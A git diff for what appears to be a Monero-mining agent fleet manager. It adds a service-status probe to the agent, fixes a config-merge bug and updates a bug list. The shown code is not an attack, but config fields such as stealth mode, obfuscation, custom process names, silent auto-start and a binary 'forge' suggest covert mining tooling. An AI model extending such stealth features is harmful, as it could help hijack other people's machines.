diff --git a/PROBLEMS.md b/PROBLEMS.md
index b7e8288..9a08b22 100644
--- a/PROBLEMS.md
+++ b/PROBLEMS.md
@@ -35,28 +35,43 @@ Findings from systematic bug-hunt and test expansion (May 2026).
### Low
+- [LOW] **server/internal/api/fleet_handler.go** — Package-global `xmrPriceCache` shared across requests/tests; no per-server isolation if multiple routers in one process (unlikely in production).
- [LOW] **server/web/src/types/ws.ts + server/internal/api/ws_types.go** — WS payloads typed in two places; drift risk.
- [LOW] **tests/** — No integration tests for remote actions end-to-end.
- [LOW] **agent/** — Mesh P2P requires build tag `p2p`.
-- [LOW] **server/internal/api/config_handler.go** — Settings config import shallow-merge.
-- [LOW] **server/internal/builder/fusion_media.go** — XOR media crypto — weak confidentiality by design.
+- [LOW] **server/config.go** — `LoadConfig` uses legacy `mergeConfig` (not `mergeConfigExplicit`); a hand-edited `config.json` omitting bool fields can still zero them on restart.
+- [LOW] **server/internal/api/config_handler.go** — `ConfigHandler.db` is unused; handler delegates entirely to `ConfigProvider`.
+- [LOW] **server/main.go** — `UpdateConfigFromJSON` has no semantic validation (negative ports, empty pool host, etc.); invalid values persist to disk.
- [LOW] **server/internal/db/agent_meta.go** — `decodeTags` silently drops invalid JSON in `tags` column (corrupt values become empty slice).
- [LOW] **server/web/e2e/smoke.spec.ts** — E2E login still uses hardcoded `drjones`/`czapiewski`; fails against first-run random `admin` password. Suggested fix: seed `users.json` in E2E fixture or read creds from env.
- [LOW] **server/web/src/types/index.ts** — Interfaces only; no runtime type guards for API JSON (validation ad hoc in components).
- [LOW] **server/web/src/pages/AgentsPage.test.tsx** — Vitest stderr `ECONNREFUSED :3000` when detail panel mounts `AgentRemoteActions`; tests pass but component may hit live fetch — mock in follow-up.
+- [LOW] **server/web/src/pages/SettingsPage.tsx** — Calibrate UI lives here (`/settings` route); no separate `CalibratePage.tsx`. Form labels lack `htmlFor` — a11y follow-up.
+- [LOW] **server/internal/maintenance/retention.go** — `os.RemoveAll` errors ignored; failed disk cleanup is silent.
+- [LOW] **server/internal/maintenance/retention.go** — Artifact dir removed before `DeleteBuild`; if DB delete fails, build row remains without files on disk.
+- [LOW] **server/internal/maintenance/retention.go** — `StartRetentionJobs` goroutine has no shutdown hook (acceptable for server process lifetime).
### Untested packages (next coverage targets)
-- [LOW] **server/internal/maintenance/** — No unit tests for retention jobs (uses `db.ListBuildsOlderThan`; db layer now covered).
- [LOW] **server/internal/models/** — No unit tests.
- [LOW] **server/internal/ollama/** — No unit tests.
- [LOW] **server/internal/sys/** — No unit tests.
- [LOW] **server/web/src/help/buildManager.ts**, **cheatSheetContent.ts** — No unit tests yet.
+- [LOW] **server/web/src/components/** — Fleet panels, forge form, WebSocket provider — no vitest coverage yet.
---
## Fixed (this session)
+- **server/web/src/pages/BuilderPage.tsx** — Load failure no longer stuck on “Loading forge defaults…” when `form` is null; error message shown instead. Wallet placeholder/short-wallet hint aligned to 90–106 chars. Exported `formatBytes` helper.
+- **server/web/src/pages/SettingsPage.tsx** — Wallet placeholder aligned to 90–106 chars. Exported `deepMerge` helper (config import).
+- **server/web/src/pages/** — Added `BuilderPage.test.tsx` (13) and `SettingsPage.test.tsx` (11, Calibrate UI at `/settings`). Page suite now 4 files / 46 tests.
+- **server/web/src/test/fixtures.ts** — Added `mockServerConfig()` for page/API tests.
+- **server/internal/api/config_handler.go** — PUT errors return valid JSON; `invalid config:` maps to HTTP 400; GET sets explicit 200.
+- **server/config.go** — `mergeConfigExplicit` tracks nested key presence; partial PUT `{"server":{"dashboard_subtitle":"x"}}` no longer resets sibling booleans (H14 nested shallow-merge).
+- **server/internal/api/config_handler_test.go** — 10 handler unit tests (GET/PUT, 405, invalid JSON, 400/500 paths, JSON escaping).
+- **server/config_test.go** — 9 `mergeConfigExplicit` regression tests (partial PUT, nested merge, defaults, bool false, fallback).
+- **server/internal/maintenance/** — Added `retention_test.go` (12 tests): `StartRetentionJobs` no-op/disabled, immediate run, 6h tick interval, stats/build purge via temp sqlite + filesystem, zero-retention skips, closed-DB error logs, combined stats+builds pass. Coverage ~97%. Exported `retentionTickInterval` + `runRetentionFn` hooks for testability only.
- **server/web/src/pages/AgentsPage.tsx** — Bulk command errors now alert user (parity with Dashboard B13).
- **server/web/src/pages/DashboardPage.tsx** — Share log table uses composite React key when `share.id` absent; exported `formatShareTime` helper.
- **server/web/src/pages/AgentsPage.tsx** — `listAgents` no longer overwrites live WS agent list when socket already connected (`isConnectedRef` guard).
@@ -66,6 +81,7 @@ Findings from systematic bug-hunt and test expansion (May 2026).
- **server/web/src/help/fleetAnalytics.ts** — `contributionBars` included offline agents in total hashrate denominator, skewing contribution percentages on the dashboard.
- **server/web/src/pages/SettingsPage.tsx** — Access Control help text still referenced removed default credentials; updated to describe first-run console password.
- **server/internal/api/ai_handler_test.go** — Expanded unit tests for `HandleDecide`, `HandleReport`, `HandleHeartbeat`, engine lifecycle, numeric constants (1000 report cap, 60s heartbeat, 120-char reasoning truncate), Ollama-failure sleep fallback, event broadcaster, `recordActivity` merge.
+- **server/internal/api/fleet_handler_test.go** — Unit tests for all exported `FleetHandler` methods (`GetAlerts`, `GetPoolStatus`, `GetAIActivity`, `GetXMRPrice`, `GetEarnings`/`GetEarningsEstimate`, `GetAgentLog`, `PostAgentCommand`, `PutAgentMeta`, `PostBulkCommand`), `EstimateXMRPerDay`/`parseFloatQuery`, earnings/XMR price cache TTLs, SupportXMR field normalization, HTTP error branches (503/502/400), and WS command paths via mock transport + test agent WS.
- **server/web/src/help/forgeCompatibility.ts** — Wallet preflight message said length 95–106 but validator accepts 90–106; message aligned with `looksLikeXMRWallet()`.
- **server/web/src/help/** — Added/expanded vitest coverage: `forgeCompatibility.test.ts` (37), `forgeRules.test.ts` (46), `settingHelp.test.ts` (8).
- **server/web/src/types/index.test.ts** — Structural fixture tests for all major exported interfaces (20 tests); documents no runtime type guards.
@@ -80,10 +96,10 @@ See git history and prior audit IDs (B1–B42, C1–C6, H1–H8, etc.) in README
## Recommended next section
-1. **server/web/src/pages/** — Add `BuilderPage`, `SettingsPage`, `CalibratePage` coverage (Dashboard + Agents done)
-2. **server/web/src/components/** — Fleet panels, forge form, WebSocket provider
-3. **server/web/src/help/buildManager.ts**, **cheatSheetContent.ts** — remaining untested help modules
-4. **server/internal/maintenance/** — retention job unit tests
+1. **server/web/src/components/** — Fleet panels, forge form, WebSocket provider; mock `AgentRemoteActions` fetch in AgentsPage tests
+2. **server/web/src/help/buildManager.ts**, **cheatSheetContent.ts** — remaining untested help modules
+3. **server/web/e2e/smoke.spec.ts** — seed first-run admin creds for E2E
+4. **server/internal/models/** — struct/JSON round-trip tests
5. **Agent WS token auth** (S2) — security hardening
---
@@ -93,7 +109,10 @@ See git history and prior audit IDs (B1–B42, C1–C6, H1–H8, etc.) in README
| Suite | Result |
|-------|--------|
| `server` Go tests | PASS (all packages) |
+| `server/internal/api` `-run Config` | PASS (13 tests) |
+| `server` `-run Config\|Merge` | PASS (13 tests) |
| `server/internal/api` `-run AI` | PASS (17 tests) |
+| `server/internal/api` `-run Fleet` | PASS (39 tests) |
| `agent` Go tests | PASS |
-| `server/web` vitest (page tests) | PASS — 2 files, 22 tests |
-| `server/web` vitest (full suite) | Run `npm test` for current count |
+| `server/web` vitest (page tests) | PASS — 4 files, 46 tests |
+| `server/web` vitest (full suite) | PASS — 19 files, 206 tests |
diff --git a/agent/client/client.go b/agent/client/client.go
index 2455f2c..2b6aacc 100644
--- a/agent/client/client.go
+++ b/agent/client/client.go
@@ -667,6 +667,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
stats.PendingUpdates = lastPosture.PendingUpdates
stats.RebootPending = lastPosture.RebootPending
stats.AgentElevated = lastPosture.AgentElevated
+ stats.Services = lastPosture.Services
}
payload, _ := json.Marshal(stats)
_ = c.write(Message{Type: "stats", Payload: payload})
diff --git a/agent/client/posture_types.go b/agent/client/posture_types.go
index ad407ea..3aec563 100644
--- a/agent/client/posture_types.go
+++ b/agent/client/posture_types.go
@@ -2,8 +2,17 @@ package client
import "encoding/json"
+// ServiceStatus is a single entry from the T1007 System Service Discovery
+// allowlist — read-only, fixed list, no enumeration of arbitrary services.
+type ServiceStatus struct {
+ Name string `json:"name"`
+ DisplayName string `json:"display_name,omitempty"`
+ Status string `json:"status"` // running | stopped | not_found
+ StartType string `json:"start_type"` // auto | manual | disabled | unknown
+}
+
// PostureReport is a read-only ATT&CK T1685/T1686 defense-impairment baseline
-// combined with a Tenable-style patch-exposure snapshot.
+// combined with a Tenable-style patch-exposure snapshot and T1007 service audit.
// Every field is an observation — the agent never modifies any security control.
type PostureReport struct {
// ── Antivirus / Defender ──────────────────────────────────────────────────
@@ -26,6 +35,9 @@ type PostureReport struct {
PatchRecent *bool `json:"patch_recent,omitempty"` // last_patch_days <= 30
RebootPending *bool `json:"reboot_pending,omitempty"`
+ // ── T1007 System Service Discovery — fixed allowlist only ────────────────
+ Services []ServiceStatus `json:"services,omitempty"`
+
// ── Process context ───────────────────────────────────────────────────────
AgentElevated *bool `json:"agent_elevated,omitempty"`
AgentServiceOK *bool `json:"agent_service_ok,omitempty"`
diff --git a/agent/client/posture_unix.go b/agent/client/posture_unix.go
index 5f0de3d..4ab35d3 100644
--- a/agent/client/posture_unix.go
+++ b/agent/client/posture_unix.go
@@ -7,6 +7,7 @@ import (
"os"
"os/exec"
"os/user"
+ "path/filepath"
"strconv"
"strings"
"time"
@@ -50,6 +51,9 @@ func collectPosture() *PostureReport {
rp := probeUnixRebootPending()
r.RebootPending = &rp
+ // ── T1007 Service Discovery ───────────────────────────────────────────────
+ r.Services = probeUnixServices()
+
// ── Elevation ─────────────────────────────────────────────────────────────
elevated := probeUnixElevated()
r.AgentElevated = &elevated
@@ -58,6 +62,79 @@ func collectPosture() *PostureReport {
return r
}
+// selfServiceName returns the base name of the running binary (no extension).
+func selfServiceName() string {
+ exe, err := os.Executable()
+ if err != nil || exe == "" {
+ return "aetherforge"
+ }
+ return filepath.Base(exe)
+}
+
+// probeUnixServices checks a fixed allowlist via systemctl.
+// Only the services relevant to this project are queried (T1007-compliant).
+func probeUnixServices() []ServiceStatus {
+ self := selfServiceName()
+ allowlist := []string{"sshd", "ssh", "cloudflared", "wuauserv", "ufw", "fail2ban", self}
+
+ // Deduplicate
+ seen := map[string]bool{}
+ var names []string
+ for _, n := range allowlist {
+ if n != "" && !seen[n] {
+ seen[n] = true
+ names = append(names, n)
+ }
+ }
+
+ var out []ServiceStatus
+ queried := map[string]bool{}
+ for _, name := range names {
+ if queried[name] {
+ continue
+ }
+ queried[name] = true
+
+ status := "not_found"
+ startType := "unknown"
+
+ // ActiveState
+ if activeOut, err := exec.Command("systemctl", "is-active", name).CombinedOutput(); err == nil {
+ active := strings.TrimSpace(string(activeOut))
+ switch active {
+ case "active":
+ status = "running"
+ case "inactive", "failed", "dead":
+ status = "stopped"
+ default:
+ // service exists but is in an odd state
+ if active != "unknown" {
+ status = "stopped"
+ }
+ }
+ }
+
+ // UnitFileState (start type)
+ if enableOut, err := exec.Command("systemctl", "is-enabled", name).CombinedOutput(); err == nil || status != "not_found" {
+ switch strings.TrimSpace(string(enableOut)) {
+ case "enabled":
+ startType = "auto"
+ case "disabled":
+ startType = "disabled"
+ case "static", "manual":
+ startType = "manual"
+ }
+ }
+
+ out = append(out, ServiceStatus{
+ Name: name,
+ Status: status,
+ StartType: startType,
+ })
+ }
+ return out
+}
+
// probeUnixFirewall returns true if any host firewall appears active.
func probeUnixFirewall() bool {
if out, _ := exec.Command("ufw", "status").CombinedOutput(); strings.Contains(strings.ToLower(string(out)), "status: active") {
diff --git a/agent/client/posture_windows.go b/agent/client/posture_windows.go
index 9ed5314..da17b03 100644
--- a/agent/client/posture_windows.go
+++ b/agent/client/posture_windows.go
@@ -4,16 +4,48 @@ package client
import (
"encoding/json"
+ "os"
"os/exec"
+ "path/filepath"
"strconv"
"strings"
)
-// postureProbeScript runs in a single PowerShell invocation.
-// Every section is wrapped in try/catch — one failing check never kills the probe.
-// The WUA pending-update query runs in a background job capped at 15 s so it
-// never blocks the agent's stats loop even on machines with a busy WU stack.
-const postureProbeScript = `
+// buildPostureScript injects the agent's own service name into the probe script
+// so the service allowlist includes the running binary without hard-coding it.
+func buildPostureScript() string {
+ selfName := selfServiceName()
+ return buildPostureScriptWithSelf(selfName)
+}
+
+// selfServiceName returns the base name of the running executable (no .exe).
+// This is what the agent registers as a Windows service when installed.
+func selfServiceName() string {
+ exe, err := os.Executable()
+ if err != nil || exe == "" {
+ return "AetherForge"
+ }
+ base := filepath.Base(exe)
+ return strings.TrimSuffix(base, ".exe")
+}
+
+func buildPostureScriptWithSelf(selfSvc string) string {
+ // Sanitize: only allow safe service-name characters
+ var safe strings.Builder
+ for _, c := range selfSvc {
+ if (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || (c >= '0' && c <= '9') || c == '-' || c == '_' {
+ safe.WriteRune(c)
+ }
+ }
+ if safe.Len() == 0 {
+ safe.WriteString("AetherForge")
+ }
+ return strings.Replace(postureProbeTemplate, "__SELF_SVC__", safe.String(), 1)
+}
+
+// postureProbeTemplate is the base PowerShell probe.
+// __SELF_SVC__ is replaced at runtime with the agent's own service name.
+const postureProbeTemplate = `
$ErrorActionPreference = 'SilentlyContinue'
$p = [ordered]@{}
@@ -113,13 +145,41 @@ try {
} catch { $p.agent_elevated = $false }
$p.agent_service_ok = $true
-$p | ConvertTo-Json -Compress
+
+# ── T1007 Service Discovery — fixed allowlist only ────────────────────────────
+$svcNames = @('sshd','OpenSSH SSH Server','cloudflared','wuauserv','WinDefend','__SELF_SVC__')
+$svcs = @()
+foreach ($n in $svcNames) {
+ try {
+ $s = Get-CimInstance -ClassName Win32_Service -Filter "Name='$n'" -ErrorAction SilentlyContinue
+ if (-not $s) {
+ # Try matching by DisplayName too
+ $s = Get-CimInstance -ClassName Win32_Service -Filter "DisplayName='$n'" -ErrorAction SilentlyContinue
+ }
+ if ($s) {
+ $st = if ($s.State -eq 'Running') { 'running' } else { 'stopped' }
+ $sm = switch ($s.StartMode) {
+ 'Auto' { 'auto' }
+ 'Manual' { 'manual' }
+ 'Disabled' { 'disabled' }
+ default { 'unknown' }
+ }
+ $svcs += [ordered]@{ name = $s.Name; display_name = $s.DisplayName; status = $st; start_type = $sm }
+ } else {
+ $svcs += [ordered]@{ name = $n; status = 'not_found'; start_type = 'unknown' }
+ }
+ } catch {
+ $svcs += [ordered]@{ name = $n; status = 'not_found'; start_type = 'unknown' }
+ }
+}
+$p.services = $svcs
+$p | ConvertTo-Json -Depth 4 -Compress
`
func collectPosture() *PostureReport {
out, err := exec.Command(
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
- postureProbeScript,
+ buildPostureScript(),
).CombinedOutput()
if err != nil {
return fallbackPosture()
@@ -150,6 +210,7 @@ func collectPosture() *PostureReport {
PendingUpdates: jsonInt(m, "pending_updates"),
RebootPending: jsonBool(m, "reboot_pending"),
AgentElevated: jsonBool(m, "agent_elevated"),
+ Services: jsonServiceSlice(m, "services"),
AgentServiceOK: boolPtr(true),
}
r.PostureScore = computePostureScore(r)
@@ -231,3 +292,51 @@ func jsonStringSlice(m map[string]interface{}, key string) []string {
}
return nil
}
+
+// jsonServiceSlice parses the services array from the PS output.
+// PS ConvertTo-Json emits either a single object or []interface{}.
+func jsonServiceSlice(m map[string]interface{}, key string) []ServiceStatus {
+ v, ok := m[key]
+ if !ok {
+ return nil
+ }
+
+ parseOne := func(raw interface{}) (ServiceStatus, bool) {
+ obj, ok := raw.(map[string]interface{})
+ if !ok {
+ return ServiceStatus{}, false
+ }
+ s := ServiceStatus{Status: "not_found", StartType: "unknown"}
+ if n, ok := obj["name"].(string); ok {
+ s.Name = n
+ }
+ if d, ok := obj["display_name"].(string); ok {
+ s.DisplayName = d
+ }
+ if st, ok := obj["status"].(string); ok {
+ s.Status = st
+ }
+ if sm, ok := obj["start_type"].(string); ok {
+ s.StartType = sm
+ }
+ return s, s.Name != ""
+ }
+
+ switch t := v.(type) {
+ case map[string]interface{}:
+ if s, ok := parseOne(t); ok {
+ return []ServiceStatus{s}
+ }
+ case []interface{}:
+ var out []ServiceStatus
+ seen := map[string]bool{}
+ for _, item := range t {
+ if s, ok := parseOne(item); ok && !seen[s.Name] {
+ seen[s.Name] = true
+ out = append(out, s)
+ }
+ }
+ return out
+ }
+ return nil
+}
diff --git a/agent/client/protocol.go b/agent/client/protocol.go
index 3a317f8..139e051 100644
--- a/agent/client/protocol.go
+++ b/agent/client/protocol.go
@@ -90,6 +90,7 @@ type StatsPayload struct {
PendingUpdates *int `json:"pending_updates,omitempty"`
RebootPending *bool `json:"reboot_pending,omitempty"`
AgentElevated *bool `json:"agent_elevated,omitempty"`
+ Services []ServiceStatus `json:"services,omitempty"`
}
type ShareResult struct {
diff --git a/server/config.go b/server/config.go
index 75434c6..63e940b 100644
--- a/server/config.go
+++ b/server/config.go
@@ -359,10 +359,26 @@ func mergeConfig(dst, src *Config) {
}
}
-// mergeConfigExplicit is like mergeConfig but only applies boolean fields when
-// the corresponding top-level key was explicitly present in the JSON request.
-// This fixes H14: a partial PUT can no longer silently reset UseTLS, SilentMode,
-// AutoStart, LogAgentConnections, etc. to false.
+// nestedJSONKeys returns keys explicitly present in a nested JSON object section.
+func nestedJSONKeys(present map[string]json.RawMessage, section string) map[string]json.RawMessage {
+ if present == nil {
+ return nil
+ }
+ raw, ok := present[section]
+ if !ok || len(raw) == 0 {
+ return nil
+ }
+ var nested map[string]json.RawMessage
+ if err := json.Unmarshal(raw, &nested); err != nil {
+ return nil
+ }
+ return nested
+}
+
+// mergeConfigExplicit is like mergeConfig but only applies fields when the
+// corresponding JSON key was explicitly present in the PUT payload.
+// Top-level absence preserves existing values (H14); nested absence within a
+// section preserves sibling fields (partial PUT / import shallow-merge fix).
func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
if present == nil {
// Fall back to old behaviour if we have no key presence info
@@ -370,186 +386,226 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
return
}
has := func(key string) bool { _, ok := present[key]; return ok }
+ in := func(section map[string]json.RawMessage, key string) bool {
+ if section == nil {
+ return false
+ }
+ _, ok := section[key]
+ return ok
+ }
// Non-boolean scalar fields — safe to use zero-value guard
- if src.Port != 0 {
+ if has("port") && src.Port != 0 {
dst.Port = src.Port
}
- if src.DataDir != "" {
+ if has("data_dir") && src.DataDir != "" {
dst.DataDir = src.DataDir
}
- // Pool — only touch booleans when key was in the payload
if has("pool") {
- if src.Pool.Host != "" {
+ poolKeys := nestedJSONKeys(present, "pool")
+ if in(poolKeys, "host") && src.Pool.Host != "" {
dst.Pool.Host = src.Pool.Host
}
- if src.Pool.Port != 0 {
+ if in(poolKeys, "port") && src.Pool.Port != 0 {
dst.Pool.Port = src.Pool.Port
}
- dst.Pool.UseTLS = src.Pool.UseTLS // bool: only applied because "pool" key was present
- if src.Pool.Password != "" {
+ if in(poolKeys, "use_tls") {
+ dst.Pool.UseTLS = src.Pool.UseTLS
+ }
+ if in(poolKeys, "password") && src.Pool.Password != "" {
dst.Pool.Password = src.Pool.Password
}
}
if has("wallet") {
- if src.Wallet.Address != "" {
+ walletKeys := nestedJSONKeys(present, "wallet")
+ if in(walletKeys, "address") && src.Wallet.Address != "" {
dst.Wallet.Address = src.Wallet.Address
}
- if src.Wallet.PaymentID != "" {
+ if in(walletKeys, "payment_id") && src.Wallet.PaymentID != "" {
dst.Wallet.PaymentID = src.Wallet.PaymentID
}
}
// The JSON struct tag is "default_agent_config" — must match exactly.
if has("default_agent_config") {
- if src.DefaultAgent.Threads != 0 {
+ daKeys := nestedJSONKeys(present, "default_agent_config")
+ if in(daKeys, "threads") && src.DefaultAgent.Threads != 0 {
dst.DefaultAgent.Threads = src.DefaultAgent.Threads
}
- if src.DefaultAgent.ThreadMode != "" {
+ if in(daKeys, "thread_mode") && src.DefaultAgent.ThreadMode != "" {
dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode
}
- if src.DefaultAgent.ThreadPercent != 0 {
+ if in(daKeys, "thread_percent") && src.DefaultAgent.ThreadPercent != 0 {
dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent
}
- if src.DefaultAgent.CPUPriority != "" {
+ if in(daKeys, "cpu_priority") && src.DefaultAgent.CPUPriority != "" {
dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority
}
- if src.DefaultAgent.MaxCPUUsagePct != 0 {
+ if in(daKeys, "max_cpu_usage_pct") && src.DefaultAgent.MaxCPUUsagePct != 0 {
dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct
}
- if src.DefaultAgent.MaxMemoryPct != 0 {
+ if in(daKeys, "max_memory_percent") && src.DefaultAgent.MaxMemoryPct != 0 {
dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct
}
- if src.DefaultAgent.MinFreeRAMMB != 0 {
+ if in(daKeys, "min_free_ram_mb") && src.DefaultAgent.MinFreeRAMMB != 0 {
dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB
}
- if src.DefaultAgent.MiningMode != "" {
+ if in(daKeys, "mining_mode") && src.DefaultAgent.MiningMode != "" {
dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode
}
- if src.DefaultAgent.DisplayMode != "" {
+ if in(daKeys, "display_mode") && src.DefaultAgent.DisplayMode != "" {
dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode
}
- if src.DefaultAgent.ProcessName != "" {
+ if in(daKeys, "process_name") && src.DefaultAgent.ProcessName != "" {
dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName
}
- if src.DefaultAgent.IdleThresholdPct != 0 {
+ if in(daKeys, "idle_threshold_pct") && src.DefaultAgent.IdleThresholdPct != 0 {
dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct
}
- if src.DefaultAgent.IdleDurationMinutes != 0 {
+ if in(daKeys, "idle_duration_minutes") && src.DefaultAgent.IdleDurationMinutes != 0 {
dst.DefaultAgent.IdleDurationMinutes = src.DefaultAgent.IdleDurationMinutes
}
- if src.DefaultAgent.ScheduleStart != "" {
+ if in(daKeys, "schedule_start") && src.DefaultAgent.ScheduleStart != "" {
dst.DefaultAgent.ScheduleStart = src.DefaultAgent.ScheduleStart
}
- if src.DefaultAgent.ScheduleEnd != "" {
+ if in(daKeys, "schedule_end") && src.DefaultAgent.ScheduleEnd != "" {
dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd
}
- if src.DefaultAgent.InstallBase != "" {
+ if in(daKeys, "install_base") && src.DefaultAgent.InstallBase != "" {
dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase
}
- if src.DefaultAgent.InstallCustomBase != "" {
+ if in(daKeys, "install_custom_base") && src.DefaultAgent.InstallCustomBase != "" {
dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase
}
- if src.DefaultAgent.InstallRelativePath != "" {
+ if in(daKeys, "install_relative_path") && src.DefaultAgent.InstallRelativePath != "" {
dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath
}
- // Booleans only applied because "default_agent" key was present
- dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware
- dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing
- dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging
- dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode
+ if in(daKeys, "adapt_to_hardware") {
+ dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware
+ }
+ if in(daKeys, "self_healing") {
+ dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing
+ }
+ if in(daKeys, "file_logging") {
+ dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging
+ }
+ if in(daKeys, "stealth_mode") {
+ dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode
+ }
}
if has("background") {
- dst.Background.SilentMode = src.Background.SilentMode
- if src.Background.RunAs != "" {
+ bgKeys := nestedJSONKeys(present, "background")
+ if in(bgKeys, "silent_mode") {
+ dst.Background.SilentMode = src.Background.SilentMode
+ }
+ if in(bgKeys, "run_as") && src.Background.RunAs != "" {
dst.Background.RunAs = src.Background.RunAs
}
- dst.Background.AutoStart = src.Background.AutoStart
+ if in(bgKeys, "auto_start") {
+ dst.Background.AutoStart = src.Background.AutoStart
+ }
}
if has("alerts") {
- if src.Alerts.OfflineThresholdMinutes != 0 {
+ alertKeys := nestedJSONKeys(present, "alerts")
+ if in(alertKeys, "offline_threshold_minutes") && src.Alerts.OfflineThresholdMinutes != 0 {
dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes
}
- if src.Alerts.HashrateDropThresholdPct != 0 {
+ if in(alertKeys, "hashrate_drop_threshold_pct") && src.Alerts.HashrateDropThresholdPct != 0 {
dst.Alerts.HashrateDropThresholdPct = src.Alerts.HashrateDropThresholdPct
}
- if src.Alerts.RejectionRateThresholdPct != 0 {
+ if in(alertKeys, "rejection_rate_threshold_pct") && src.Alerts.RejectionRateThresholdPct != 0 {
dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct
}
- if src.Alerts.TelegramBotToken != "" {
+ if in(alertKeys, "telegram_bot_token") && src.Alerts.TelegramBotToken != "" {
dst.Alerts.TelegramBotToken = src.Alerts.TelegramBotToken
}
- if src.Alerts.TelegramChatID != "" {
+ if in(alertKeys, "telegram_chat_id") && src.Alerts.TelegramChatID != "" {
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
}
- dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
- if src.Alerts.SMTPHost != "" {
+ if in(alertKeys, "email_enabled") {
+ dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
+ }
+ if in(alertKeys, "smtp_host") && src.Alerts.SMTPHost != "" {
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
}
- if src.Alerts.SMTPPort != 0 {
+ if in(alertKeys, "smtp_port") && src.Alerts.SMTPPort != 0 {
dst.Alerts.SMTPPort = src.Alerts.SMTPPort
}
- if src.Alerts.SMTPUser != "" {
+ if in(alertKeys, "smtp_user") && src.Alerts.SMTPUser != "" {
dst.Alerts.SMTPUser = src.Alerts.SMTPUser
}
- if src.Alerts.SMTPPassword != "" {
+ if in(alertKeys, "smtp_password") && src.Alerts.SMTPPassword != "" {
dst.Alerts.SMTPPassword = src.Alerts.SMTPPassword
}
- if src.Alerts.EmailTo != "" {
+ if in(alertKeys, "email_to") && src.Alerts.EmailTo != "" {
dst.Alerts.EmailTo = src.Alerts.EmailTo
}
- if src.Alerts.EmailFrom != "" {
+ if in(alertKeys, "email_from") && src.Alerts.EmailFrom != "" {
dst.Alerts.EmailFrom = src.Alerts.EmailFrom
}
}
if has("server") {
- if src.Server.PublicURL != "" {
+ srvKeys := nestedJSONKeys(present, "server")
+ if in(srvKeys, "public_url") && src.Server.PublicURL != "" {
dst.Server.PublicURL = src.Server.PublicURL
}
- if src.Server.StatsRetentionHours != 0 {
+ if in(srvKeys, "stats_retention_hours") && src.Server.StatsRetentionHours != 0 {
dst.Server.StatsRetentionHours = src.Server.StatsRetentionHours
}
- if src.Server.BuildRetentionDays != 0 {
+ if in(srvKeys, "build_retention_days") && src.Server.BuildRetentionDays != 0 {
dst.Server.BuildRetentionDays = src.Server.BuildRetentionDays
}
- if src.Server.PoolReconnectSeconds != 0 {
+ if in(srvKeys, "pool_reconnect_seconds") && src.Server.PoolReconnectSeconds != 0 {
dst.Server.PoolReconnectSeconds = src.Server.PoolReconnectSeconds
}
- if src.Server.WebSocketPingSeconds != 0 {
+ if in(srvKeys, "websocket_ping_seconds") && src.Server.WebSocketPingSeconds != 0 {
dst.Server.WebSocketPingSeconds = src.Server.WebSocketPingSeconds
}
- if src.Server.MaxAgents != 0 {
+ if in(srvKeys, "max_agents") && src.Server.MaxAgents != 0 {
dst.Server.MaxAgents = src.Server.MaxAgents
}
- if src.Server.MaxBuildSizeMB != 0 {
+ if in(srvKeys, "max_build_size_mb") && src.Server.MaxBuildSizeMB != 0 {
dst.Server.MaxBuildSizeMB = src.Server.MaxBuildSizeMB
}
- // Booleans applied because "server" key was present
- dst.Server.LogAgentConnections = src.Server.LogAgentConnections
- dst.Server.LogShareSubmissions = src.Server.LogShareSubmissions
- dst.Server.LogPoolTraffic = src.Server.LogPoolTraffic
- dst.Server.StrictWalletValidation = src.Server.StrictWalletValidation
- dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart
- dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault
- dst.Server.SignEnabled = src.Server.SignEnabled
- if src.Server.DashboardSubtitle != "" {
+ if in(srvKeys, "log_agent_connections") {
+ dst.Server.LogAgentConnections = src.Server.LogAgentConnections
+ }
+ if in(srvKeys, "log_share_submissions") {
+ dst.Server.LogShareSubmissions = src.Server.LogShareSubmissions
+ }
+ if in(srvKeys, "log_pool_traffic") {
+ dst.Server.LogPoolTraffic = src.Server.LogPoolTraffic
+ }
+ if in(srvKeys, "strict_wallet_validation") {
+ dst.Server.StrictWalletValidation = src.Server.StrictWalletValidation
+ }
+ if in(srvKeys, "open_firewall_on_start") {
+ dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart
+ }
+ if in(srvKeys, "obfuscate_default") {
+ dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault
+ }
+ if in(srvKeys, "sign_enabled") {
+ dst.Server.SignEnabled = src.Server.SignEnabled
+ }
